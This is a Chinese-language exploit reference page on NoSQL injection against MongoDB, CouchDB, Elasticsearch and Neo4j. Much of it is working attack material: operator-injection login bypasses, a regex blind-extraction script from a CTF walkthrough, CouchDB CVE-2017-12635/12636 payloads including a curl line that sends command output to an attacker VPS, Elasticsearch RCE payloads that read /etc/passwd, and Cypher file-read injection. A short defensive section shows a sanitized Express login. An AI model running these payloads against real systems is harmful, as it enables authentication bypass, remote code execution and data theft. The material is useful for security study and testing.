| title | NoSQL 注入 | |||||
|---|---|---|---|---|---|---|
| aliases |
|
|||||
| category | exp | |||||
| status | current | |||||
| updated | 2026-07 |
SQL 注入是让输入变成"语句的一部分",NoSQL 注入是让输入从"一个值"变成"一个查询对象"——$ne、$gt、$regex 这些操作符一旦由用户控制,查询语义就被改写。
以 MongoDB 为例,查询条件是 JSON/BSON 对象:
db.users.find({username: "admin", password: "123456"})如果后端直接把用户提交的数组/对象拼进查询条件,攻击者提交的不是字符串而是操作符:
db.users.find({username: "admin", password: {$ne: 1}})
// 密码"不等于1"恒真 -> 认证绕过关键点:参数被解析成数组/对象,而不是字符串。
- 后端使用 MongoDB 等文档型数据库
- 用户输入未经类型校验进入查询条件
- 框架支持数组/对象式参数解析:
- PHP:
?pass[$ne]=1自动解析为数组 - Node.js(Express + qs 库):
?pass[$ne]=1解析为对象 - JSON 接口:
{"pass": {"$ne": 1}}
- PHP:
POST user=admin&pass[$ne]=1
POST user[$gt]=&pass[$gt]=
{"user": "admin", "pass": {"$regex": ".*"}}
利用 $regex 逐位爆破字段内容:
user=admin&pass[$regex]=^a 正确 -> 登录成功/页面正常
user=admin&pass[$regex]=^b 错误 -> 登录失败
配合脚本按位扩大前缀,把密码/hash 完整拖出。
MongoDB 早期支持 $where 执行 JavaScript:
user=admin&pass[$where]=1
可做布尔判断、延时(sleep),现代版本多已禁用,遇到老应用仍可一试。
- 提交非法操作符(
[$xxx])触发报错,泄露后端类型与查询结构 - 利用
$lookup(聚合管道注入)跨集合读数据(少见但 CTF 出现过)
$where 的值是服务端执行的一段 JavaScript,this 指向当前文档,整段函数体都是注入面;既能做布尔判断,也能用 sleep() 延时,是老版本 MongoDB 的"万能注入点"。
# 延时盲注:命中 admin 时挂起 5 秒,观察响应时间差
username[$where]=function(){if(this.username=='admin'){sleep(5000);return true;}return false;}
# 后端把输入拼进 $where 字符串内部时(如 $where: "this.username=='"+input+"'"),
# 闭合引号改写语义,再逐位判断密码首字符
' || 'a'=='a' && this.password[0]=='f
# $where 配合正则逐位爆破字段内容(有布尔回显时优先用)
username[$where]=this.username=='admin' && this.password.match(/^f/)
注入表单以 POST JSON 提交时,直接把 $where 作为值塞进去:
{"$where": "sleep(5000) || 1==1"}字段级注入:
{"username": "admin", "password": {"$where": "sleep(5000) || 1==1"}}- 有回显差异:
$where配合正则(this.password.match(/^x/))逐位爆破字段内容 - 无回显差异:
$where配合sleep()做时间盲注,对比响应耗时
NoSQL 家族远不止 MongoDB,遇到对应端口或报错特征时及时切换思路。
- 未授权访问:
curl http://target:5984/_all_dbs直接列库,浏览器打开/_utils进管理台。 - CVE-2017-12635(重复键绕过校验,创建管理员):Erlang JSON 解析器与 JS 校验器对重复键的处理不一致,提交重复
roles键即可越权建号:
PUT /_users/org.couchdb.user:hacker HTTP/1.1
Content-Type: application/json
{"type":"user","name":"hacker","roles":["_admin"],"roles":[],"password":"hacker"}
要点:重复的
roles键——末尾的空数组骗过 JS 校验器,前面的_admin被 Erlang 解析器实际生效。
- CVE-2017-12636(已认证 RCE):拿到 admin 后通过
_config/query_servers注册恶意"查询服务器",再借设计文档视图触发执行,实现任意命令执行:
PUT /_config/query_servers/x "curl http://vps/`id`"
# 随后创建临时视图/设计文档调用该 query_server,命令即被执行
- Query DSL 注入:用户输入被拼进
query_string时,提交通配查询把全部文档拉出来:
{"query": {"query_string": {"query": "*"}}}- CVE-2014-3120(脚本字段 RCE):老版本搜索接口的
script_fields直接执行 MVEL/Java 代码,一句话:注入脚本即Runtime.getRuntime().exec()命令执行:
{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;new Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}}- CVE-2015-1427(Groovy 沙箱逃逸):新版改用 Groovy 但沙箱可逃逸,用反射链绕过执行命令:
{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}Cypher 查询同样把用户输入拼进字符串,闭合引号 + 注释符即可改写语义(与 SQLi 同构):
' OR 1=1 //
MATCH (n:User) WHERE n.name='' OR 1=1 // ' RETURN n
进阶玩法:
- 注入
RETURN n.password改写返回字段,直接偷密码 - 注入
LOAD CSV FROM 'file:///etc/passwd'读取服务器文件
// 漏洞:用户输入未做任何类型校验,直接作为查询条件
app.post('/login', async (req, res) => {
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password // 提交 {"$ne":1} -> {password:{$ne:1}} 恒真绕过
});
if (user) return res.json({ token: sign(user) });
res.status(401).json({ msg: 'login failed' });
});// 安全:先强制转字符串,再用 $eq 显式绑定,操作符退化为普通值参与相等比较
app.post('/login', async (req, res) => {
const username = String(req.body.username || '');
const password = String(req.body.password || '');
const user = await db.collection('users').findOne({
username: { $eq: username }, // 即使传对象,也只做字面相等比较,不会执行内部操作符
password: { $eq: password }
});
if (user) return res.json({ token: sign(user) });
res.status(401).json({ msg: 'login failed' });
});更省心的方案:全局接入 express-mongo-sanitize 中间件,递归剥离所有 $ 开头的键。
| 操作 | 现象 | 说明 |
|---|---|---|
| 正常账号 + 错误密码 | 登录失败 | 基线 |
pass[$ne]=1 |
登录成功 | 存在注入 |
pass[$regex]=^a vs ^b |
响应有差异 | 可盲注 |
| 传数组后报错 | 泄露堆栈/驱动信息 | 辅助确认 |
- NoSQLMap:自动化检测
- Burp 手工改包:大多数场景足够,重点是把参数改成数组/对象形式
题目:登录框,提示"flag 就是 admin 的密码"。
- 试探基线:
admin / 123456登录失败,页面统一提示"用户名或密码错误"。 - 确认注入:改提交操作符形式
user=admin&pass[$ne]=1(或 JSON{"user":"admin","pass":{"$ne":"x"}}),登录成功——查询条件被用户改写,操作符注入成立。 - 选择利用方式:登录接口存在"成功/失败"两种布尔回显,选
$regex布尔盲注逐位爆破密码。 - 手工验证:
pass[$regex]=^f登录成功、^a失败——首字符为f,符合flag{开头特征。 - 脚本爆破:
import requests
import string
url = 'http://target/login'
charset = string.ascii_letters + string.digits + '_{}!@$-'
known = ''
while '}' not in known:
for c in charset:
# 表单形式:pass[$regex]= 已知前缀 + 猜测字符
data = {'user': 'admin', 'pass[$regex]': '^' + known + c}
if 'login success' in requests.post(url, data=data).text: # 按实际回显调整
known += c
print('[+] ' + known)
break
print('[flag] ' + known)- 备选方案:若无布尔回显差异,改用
$where时间盲注,按响应耗时逐位判断:
{"user": "admin", "pass": {"$where": "if(this.password[0]=='f'){sleep(5000);return true;}return false;"}}- Redis 未授权访问与主从复制 RCE:见 EXP-DB-Redis(那是"服务暴露"问题,本篇是"查询注入")
- 与 XPath 注入思路同构(都是"查询语言语义被改写"):见 EXP-XPath
- 服务端强制类型校验:查询条件中的字段必须是字符串,拒绝数组/对象
- 过滤以
$开头的键名(如express-mongo-sanitize) - 禁用
$where,使用参数化/ODM 构造查询